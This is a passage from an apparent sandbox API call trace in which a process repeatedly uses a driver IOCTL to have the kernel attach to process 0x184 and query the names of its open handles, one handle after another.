lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.563] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.563] PsAcquireProcessExitSynchronization () returned 0x0 [0103.563] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.563] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fb0c00, HandleInformation=0x0) returned 0x0 [0103.563] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.563] PsReleaseProcessExitSynchronization () returned 0x2 [0103.563] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.563] ObQueryNameString (in: Object=0xfffff8a001fb0c00, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.563] ObfDereferenceObject (Object=0xfffff8a001fb0c00) returned 0x1 [0103.563] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.563] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.563] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.563] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.563] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.563] PsAcquireProcessExitSynchronization () returned 0x0 [0103.563] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.563] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002081e00, HandleInformation=0x0) returned 0x0 [0103.563] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.563] PsReleaseProcessExitSynchronization () returned 0x2 [0103.563] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.563] ObQueryNameString (in: Object=0xfffff8a002081e00, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.563] ObfDereferenceObject (Object=0xfffff8a002081e00) returned 0x1 [0103.563] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.563] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.563] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.563] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.563] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.563] PsAcquireProcessExitSynchronization () returned 0x0 [0103.563] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.563] ObReferenceObjectByHandle (in: Handle=0x61c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f84400, HandleInformation=0x0) returned 0x0 [0103.563] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.563] PsReleaseProcessExitSynchronization () returned 0x2 [0103.563] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.564] ObQueryNameString (in: Object=0xfffff8a001f84400, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.564] ObfDereferenceObject (Object=0xfffff8a001f84400) returned 0x1 [0103.564] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.564] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.564] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.564] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.564] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.564] PsAcquireProcessExitSynchronization () returned 0x0 [0103.564] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.564] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020a4eb0, HandleInformation=0x0) returned 0x0 [0103.564] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.564] PsReleaseProcessExitSynchronization () returned 0x2 [0103.564] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.564] ObQueryNameString (in: Object=0xfffff8a0020a4eb0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.564] ObfDereferenceObject (Object=0xfffff8a0020a4eb0) returned 0x1 [0103.564] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.564] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.564] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.564] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.564] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.564] PsAcquireProcessExitSynchronization () returned 0x0 [0103.564] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.564] ObReferenceObjectByHandle (in: Handle=0x63c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020a0890, HandleInformation=0x0) returned 0x0 [0103.564] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.564] PsReleaseProcessExitSynchronization () returned 0x2 [0103.564] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.564] ObQueryNameString (in: Object=0xfffff8a0020a0890, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.564] ObfDereferenceObject (Object=0xfffff8a0020a0890) returned 0x1 [0103.564] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.564] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.564] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.565] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.565] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.565] PsAcquireProcessExitSynchronization () returned 0x0 [0103.565] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.565] ObReferenceObjectByHandle (in: Handle=0x64c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002089700, HandleInformation=0x0) returned 0x0 [0103.565] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.565] PsReleaseProcessExitSynchronization () returned 0x2 [0103.565] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.565] ObQueryNameString (in: Object=0xfffff8a002089700, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.565] ObfDereferenceObject (Object=0xfffff8a002089700) returned 0x1 [0103.565] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.565] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.565] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.565] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.565] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.565] PsAcquireProcessExitSynchronization () returned 0x0 [0103.565] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.565] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020997e0, HandleInformation=0x0) returned 0x0 [0103.565] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.565] PsReleaseProcessExitSynchronization () returned 0x2 [0103.565] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.565] ObQueryNameString (in: Object=0xfffff8a0020997e0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.565] ObfDereferenceObject (Object=0xfffff8a0020997e0) returned 0x1 [0103.565] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.565] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.565] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.565] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.565] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.565] PsAcquireProcessExitSynchronization () returned 0x0 [0103.566] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.566] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020ad780, HandleInformation=0x0) returned 0x0 [0103.566] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.566] PsReleaseProcessExitSynchronization () returned 0x2 [0103.566] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.566] ObQueryNameString (in: Object=0xfffff8a0020ad780, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.566] ObfDereferenceObject (Object=0xfffff8a0020ad780) returned 0x1 [0103.566] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.566] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.566] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.566] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.566] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.566] PsAcquireProcessExitSynchronization () returned 0x0 [0103.566] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.566] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00204d540, HandleInformation=0x0) returned 0x0 [0103.566] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.566] PsReleaseProcessExitSynchronization () returned 0x2 [0103.566] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.566] ObQueryNameString (in: Object=0xfffff8a00204d540, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.566] ObfDereferenceObject (Object=0xfffff8a00204d540) returned 0x1 [0103.566] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.566] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.566] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.566] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.566] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.566] PsAcquireProcessExitSynchronization () returned 0x0 [0103.566] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.566] ObReferenceObjectByHandle (in: Handle=0x68c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002094340, HandleInformation=0x0) returned 0x0 [0103.566] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.567] PsReleaseProcessExitSynchronization () returned 0x2 [0103.567] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.567] ObQueryNameString (in: Object=0xfffff8a002094340, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.567] ObfDereferenceObject (Object=0xfffff8a002094340) returned 0x1 [0103.567] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.567] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.567] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.567] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.567] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.567] PsAcquireProcessExitSynchronization () returned 0x0 [0103.567] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.567] ObReferenceObjectByHandle (in: Handle=0x69c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f6c480, HandleInformation=0x0) returned 0x0 [0103.567] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.567] PsReleaseProcessExitSynchronization () returned 0x2 [0103.567] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.567] ObQueryNameString (in: Object=0xfffff8a001f6c480, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.567] ObfDereferenceObject (Object=0xfffff8a001f6c480) returned 0x1 [0103.567] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.567] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.567] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.567] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.567] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.567] PsAcquireProcessExitSynchronization () returned 0x0 [0103.567] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.567] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002082c30, HandleInformation=0x0) returned 0x0 [0103.567] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.567] PsReleaseProcessExitSynchronization () returned 0x2 [0103.567] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.567] ObQueryNameString (in: Object=0xfffff8a002082c30, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.567] ObfDereferenceObject (Object=0xfffff8a002082c30) returned 0x1 [0103.567] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.567] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.568] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.568] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.568] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.568] PsAcquireProcessExitSynchronization () returned 0x0 [0103.568] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.568] ObReferenceObjectByHandle (in: Handle=0x6bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002063a30, HandleInformation=0x0) returned 0x0 [0103.568] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.568] PsReleaseProcessExitSynchronization () returned 0x2 [0103.568] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.568] ObQueryNameString (in: Object=0xfffff8a002063a30, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.568] ObfDereferenceObject (Object=0xfffff8a002063a30) returned 0x1 [0103.568] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.568] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.568] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.568] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.568] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.568] PsAcquireProcessExitSynchronization () returned 0x0 [0103.568] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.568] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020879e0, HandleInformation=0x0) returned 0x0 [0103.568] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.568] PsReleaseProcessExitSynchronization () returned 0x2 [0103.568] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.568] ObQueryNameString (in: Object=0xfffff8a0020879e0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.568] ObfDereferenceObject (Object=0xfffff8a0020879e0) returned 0x1 [0103.568] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.568] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.568] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.568] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.568] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.568] PsAcquireProcessExitSynchronization () returned 0x0 [0103.568] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.569] ObReferenceObjectByHandle (in: Handle=0x6e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002094180, HandleInformation=0x0) returned 0x0 [0103.569] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.767] PsReleaseProcessExitSynchronization () returned 0x2 [0103.767] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.767] ObQueryNameString (in: Object=0xfffff8a002094180, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.767] ObfDereferenceObject (Object=0xfffff8a002094180) returned 0x1 [0103.767] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.767] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.767] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.767] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.767] PsAcquireProcessExitSynchronization () returned 0x0 [0103.767] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.767] ObReferenceObjectByHandle (in: Handle=0x704, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, 